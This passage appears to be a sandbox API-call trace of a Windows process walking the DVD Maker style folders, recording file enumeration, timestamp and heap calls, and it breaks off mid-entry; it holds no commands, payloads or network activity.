[0066.744] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc6a18 [0066.744] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc6a18, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc6a18, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc6a18) returned 1 [0066.744] NtClose (Handle=0x148) returned 0x0 [0066.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0066.783] GetLastError () returned 0x12 [0066.783] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.783] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0066.783] GetLastError () returned 0x12 [0066.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.783] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.784] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0066.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0066.874] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc5d10 [0066.874] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc5d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc5d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc5d10) returned 1 [0066.885] NtClose (Handle=0x198) returned 0x0 [0066.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.886] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1ca8 [0066.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc32d0 [0066.950] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.950] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.950] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.950] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.950] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.950] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.950] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.950] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1cc8 [0066.950] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc33d8 [0066.950] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1ce8 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc34e0 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5d28 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc35e8 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.951] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5d48 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 